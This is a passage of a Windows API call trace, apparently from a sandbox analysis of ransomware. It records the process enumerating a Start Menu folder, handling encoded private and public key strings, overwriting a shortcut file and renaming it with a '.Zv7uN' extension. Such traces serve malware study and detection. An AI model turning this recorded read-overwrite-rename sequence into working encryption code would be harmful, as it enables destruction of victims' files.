lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0134.168] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.168] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.168] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0134.170] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.170] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0134.170] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0134.170] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.170] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef)) returned 1 [0134.171] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk")) returned 0x20 [0134.171] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk", dwFileAttributes=0x80) returned 1 [0134.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0134.174] GetCurrentThreadId () returned 0xa30 [0134.174] GetCurrentThreadId () returned 0xa30 [0134.174] GetCurrentThreadId () returned 0xa30 [0134.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.175] GetCurrentThreadId () returned 0xa30 [0134.175] GetCurrentThreadId () returned 0xa30 [0134.175] GetCurrentThreadId () returned 0xa30 [0134.175] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0134.175] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0134.175] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0134.175] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbef [0134.176] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0134.176] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xbef, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xbef, lpOverlapped=0x0) returned 1 [0134.180] CloseHandle (hObject=0x1e8) returned 1 [0134.180] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0134.183] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xbef, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xbef, lpOverlapped=0x0) returned 1 [0134.185] CloseHandle (hObject=0x1e8) returned 1 [0134.185] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk.zv7un")) returned 1 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] GetCurrentThreadId () returned 0xa30 [0134.187] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 0 [0134.187] GetLastError () returned 0x12 [0134.187] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0134.187] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64333de0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x64333de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0134.187] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0134.188] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.188] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64333de0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x64333de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.188] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: 